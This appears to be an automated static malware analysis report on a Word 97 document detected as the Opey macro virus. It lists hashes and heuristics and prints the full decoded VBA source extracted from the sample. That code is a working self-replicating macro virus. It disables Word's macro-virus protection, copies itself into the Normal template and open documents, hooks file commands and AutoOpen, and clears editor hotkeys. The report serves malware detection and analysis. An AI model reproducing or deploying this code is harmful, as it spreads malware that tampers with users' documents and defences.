Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2fe268e09ab19ede…

MALICIOUS

Office (OLE)

55.5 KB Created: 1999-12-31 17:06:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d3b33bee451aebeed10ee17bb4376d6e SHA-1: 6419857baa9dbdf5c7b4e1627cda21561d9364df SHA-256: 2fe268e09ab19ede0c8023551fbbb18d03c6643ec6c866854990788ecd46721d
188 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The document contains a VBA macro, indicated by the 'OLE_VBA_MACROS' and 'OLE_LEGACY_WORDBASIC_MACRO_VIRUS' heuristics, and specifically an 'AutoOpen' macro, suggesting malicious intent. The macro's purpose appears to be to clean or modify the Normal template, potentially to establish persistence or evade detection, as suggested by the 'Linis_Cls' and 'Linis_Bbq' modules. The document body itself is a lure for a paid seminar, which is a common tactic for phishing or financial scams.

Heuristics 5

  • ClamAV: Doc.Trojan.Opey-18 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Opey-18
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
                    Application.OrganizerCopy Source:=NormalTemplate.FullName, _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6188 bytes
SHA-256: 94c21f6a8046e48274f222a2b7d1ec4d70eac4c7bec4be6e594946e639730f77
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Linis_Cls"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_Creatable = True
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Property Let clsProctection(pValue As Boolean)
       Options.VirusProtection = pValue
End Property
Property Let clsSaveNormal(pValue As Boolean)
       Options.SaveNormalPrompt = pValue
End Property




Attribute VB_Name = "Linis_Bbq"

' ------------------------------------------------------------------------------------
' USER:         Linis-BBQ-2000
' AUTHOR:       FRANCIS LIM
' DATE CREATED: Oct 20, 2000
' ------------------------------------------------------------------------------------


Private Sub Hawaan()
On Error Resume Next

    Dim DocuName$, OpenDocImmunized As Boolean
    Dim I%, J%, NmImmunized$

    NmImmunized = "0"
    
    For I = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
        DocuName = NormalTemplate.VBProject.VBComponents(I).Name
        If DocuName = GetSource() Then NmImmunized = "1"
        If (DocuName <> GetSource()) And _
           (DocuName <> "Linis_Cls") And _
            (DocuName <> "ThisDocument") Then
            Application.OrganizerDelete _
                Source:=NormalTemplate.FullName _
                , Name:=DocuName _
                , Object:=wdOrganizerObjectProjectItems
        End If
    Next I
    
    
    For Each opendoc In Documents
        OpenDocImmunized = False
        With opendoc
            For J = opendoc.VBProject.VBComponents.Count To 1 Step -1
                DocuName = opendoc.VBProject.VBComponents(J).Name
                If DocuName = GetSource() Then OpenDocImmunized = True
                If (DocuName <> GetSource()) And _
                   (DocuName <> "Linis_Cls") And _
                   (DocuName <> "ThisDocument") And _
                   (DocuName <> "Reference to Normal") Then
                     Application.OrganizerDelete Source:=opendoc.FullName _
                     , Name:=DocuName _
                     , Object:=wdOrganizerObjectProjectItems
                End If
            Next J
            
            If Not OpenDocImmunized Then
                Application.OrganizerCopy Source:=NormalTemplate.FullName, _
                Destination:=opendoc.FullName, _
                Name:="Linis_Cls", _
                Object:=wdOrganizerObjectProjectItems
                opendoc.SaveAs FileName:=opendoc.FullName
            
                Application.OrganizerCopy Source:=NormalTemplate.FullName, _
                Destination:=opendoc.FullName, _
                Name:=GetSource(), _
                Object:=wdOrganizerObjectProjectItems
                opendoc.SaveAs FileName:=opendoc.FullName
            End If
        End With
    Next opendoc
    If NmImmunized = "0" Then
       ActiveDocument.VBProject.VBComponents.Item(GetSource).Export Application.Path & "\102002HS.TMP"
       NormalTemplate.VBProject.VBComponents.Import Application.Path & "\102002HS.TMP"
       ActiveDocument.VBProject.VBComponents.Item("Linis_Cls").Export Application.Path & "\102002HS.TMP"
       NormalTemplate.VBProject.VBComponents.Import Application.Path & "\102002HS.TMP"

       Kill Application.Path & "\102002HS.TMP"
    End If
End Sub


Sub Protectahan()
Dim clsOption As Linis_Cls
On Error Resume Next
      
   Set clsOption = New Linis_Cls
   Application.DisplayAlerts = wdAlertsAll
   WordBasic.DisableAutoMacros -1
   
    With Application
        .UserName = "FRANCIS LIM"
        .UserAddress = "Linis-BBQHS-2000"
        .UserInitials = "BBQ-KY"
    End With
    
    With Dialogs(wdDialogFileSummaryInfo)
        .Author = "FRANCIS LIM"
        .Keywords = "Linis-BBQHS-2000"
        .Execute
    End With

    With Options
        .ConfirmConversions = True
    End With
    clsOption.clsProctection = False
    clsOption.clsSaveNormal = False
    
    With ActiveDocument
        .ReadOnlyRecommended = False
    End With
    
   With CommandBars("Visual Basic")
      .Enabled = True
      .Protection = msoBarTypeMenuBar
      .Protection = msoBarMenuBar
   End With

   With CommandBars("Tools")
      .Reset
      .Controls("Macro").Reset
      .Controls("Customize...").Reset
   End With
   
   

   FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Clear
   FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Clear
   CustomizationContext = NormalTemplate
   Set clsOption = Nothing
End Sub


Sub FileSave()
On Error Resume Next
    Call Protectahan
    Call Hawaan
    ActiveDocument.Save
End Sub

Sub FileClose()
On Error Resume Next
    Call Protectahan
    Call Hawaan
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    ActiveDocument.Close
End Sub

Sub FileExit()
On Error Resume Next
    Call Protectahan
    Call Hawaan
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    Application.Quit
End Sub

Sub FileNew()
On Error Resume Next
    Call Protectahan
    Call Hawaan
    Dialogs(wdDialogFileNew).Show
    Call Hawaan
End Sub

Sub AutoOpen()
On Error Resume Next
   Call Protectahan
   Call Hawaan
End Sub

Sub AutoExec()
On Error Resume Next
    Call Protectahan
    Call Hawaan
End Sub

Sub FileSaveAs()
On Error Resume Next
    Call Protectahan
    Call Hawaan
    Dialogs(wdDialogFileSaveAs).Show
    Call Hawaan
End Sub

Sub FileOpen()
On Error Resume Next
    Call Protectahan
    Call Hawaan
    Dialogs(wdDialogFileOpen).Show
    Call Hawaan
End Sub


































Function GetSource() As String
On Error Resume Next
   GetSource = Chr(76) & Chr(105) & Chr(110) & Chr(105) & Chr(115) & Chr(95) & Chr(66) & Chr(98) & Chr(113)
End Function

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